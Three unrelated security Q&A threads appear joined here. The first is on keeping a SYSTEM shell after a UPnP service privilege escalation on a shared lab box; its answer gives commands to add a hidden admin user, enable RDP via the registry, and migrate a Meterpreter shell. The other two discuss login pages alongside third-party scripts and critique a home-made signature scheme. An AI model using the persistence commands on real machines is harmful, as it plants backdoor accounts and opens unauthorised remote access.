Windows Privilege Escalation system shell dies quickly I have a user restricted shell and I used a host upnpn exploit which gives me root access to nc.exe. I am able to get a shell as SYSTEM but it dies after 30 seconds due to the service being unrecognised and then terminates. Within this time, what can I do to get back another system shell.

Ive tried adding another user as admin but do not know how to switch to that user. I also want to avoid making my current user as admin as other people are attacking the same box

I can use metrepeter to migrate to another process but I would like to do this more mnaually and am looking for a simpler solution

If I'm reading this correctly, you changed a windows service, UPNPHost, to use a different executable than it shipped with, right? If so, the process dies because it doesn't respond correctly to the task host, so it gets killed by the system.

  Ive tried adding another user as admin but do not know how to switch to that user.

You can switch using Remote Desktop. Anything that gets spawned by nc.exe will likely be killed immediately alongside it.

I presume this is how you added the new user as admin?

net user anderson cooper /add && net localgroup administrators anderson /add

Method 1: Remote Desktop

Try to RDP into the machine with the username anderson, and the password cooper. If RDP is not open, enable it:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Method 2: Meterpreter Migration

Alternatively, you can upload a meterpreter shell and use that instead of plain nc, and then quickly migrate to another process so the shell continues to operate.


Is it really necessary for security to have login on separate page? Working on a public website where the login form is located on a separate page on it's own subdomain.
One of our biggest goals at the moment is to try to promote users to log in to the site more frequently. My first suggestion was naturally that we should make the login form (username and pwd inputs) available directly from the header of the main site.

The guy responsible for the login system told me this was out of the question - since we have a lot of 3rd party scripts (ads etc) on the main site, it would be a security risk to have the login form accessible anywhere on the main page. The login must remain on a separate page where there are no 3rd party scripts.
Displaying the login-page inside an iframe on the main site was not an option.

I trust him but just wanted to double check.
Is there truly no way to have a secure site with 3rd party scripts and username+password inputs directly accessible on the page?
Should any site with ads be considered unsafe if the login form is not on a separate page?

I do agree with him that this is a concern, there are two ways to mitigate this:

Don't load scripts from external parties
Run it on a seperate page without third party scripts on any of the admin pages

Third party scripts, especially advertisements, are sometimes susceptible to hijacking by malicious entities. There are two main associated risks with running this script:

Someone might inject a phishing form to phish your credentials
Someone might use it to steal your session information

Additionally, for most sensitive websites, we even recommend restricting the administrative pages to certain network ranges only. They should preferably not be accessible from the Internet.


If you can break this authentication system then you can break into my house I'll preface this by saying I know approximately 0 about cyber-sec

I've made a server that will allow smart phones to act as a remote control for my house (eg turn lights on/off and unlock doors). Obviously the security of this server is very important to me. I would also like the latency on the app to be as low as possible so I designed the system to minimize the number of distinct calls to the server. If any of you could point out any vulnerabilities and/or unnecessary steps I'd appreciate it:

A message to the server takes the form of a get request to

/[username]/[command]/[random noise]/[signature]

I am using Sha256 as a hash function.
the signature is calculated with

Sha256( Sha256( [username]+[password]+[command]+[random noise] ) + [previous successful signature] )

+ in this context means concatenation

If at any time you loose track of the previous successful signature you can request it. That is, the previous successful signature is public knowledge (and obviously that signature won't work twice in a row).

So far as I can surmise, I am not vulnerable to a replay attack (as the prev sig contributes to the next sig) nor a length extension attack (as appending to the message won't help and even if it did you could only append to the inner Sha256 instead of actual data).

Am I missing anything? Is my system secure?

A few things:

First, there is already a scheme to turn an unkeyed hash into a keyed hash. It's called HMAC; if you have a four step process (client says "send me a nonce," server sends client a nonce, client computes HMAC on the nonce with password as key and sends it back to the server, server verifies HMAC), that should work (the properties of a MAC require that an attacker without the password can't feasibly create any forged data-MAC pairs, even if he can get the real user to create as many data-MAC pairs as he wants. If the server does not repeat nonces (e.g. if it uses a counter), this should work; you don't need to worry about a random nonce, because HMAC doesn't require it.

Better, especially if you need to send any information afterwards, would be to use a standardized protocol like TLS-SRP. Unlike normal TLS, TLS-SRP doesn't require a certificate; you use a password instead.

No matter what, you should not be designing your own scheme. Designing your own security protocol is something that has a tendency to go badly wrong. Security is hard; minor mistakes can easily totally destroy the security of a scheme. Use a standardized protocol. TLS-SRP might work well; a regular TLS protocol would also work, but it'd be a bit finickier because you need a certificate. Other standardized authentication schemes can work too. But do not just throw data in a hash and assume it'll be secure.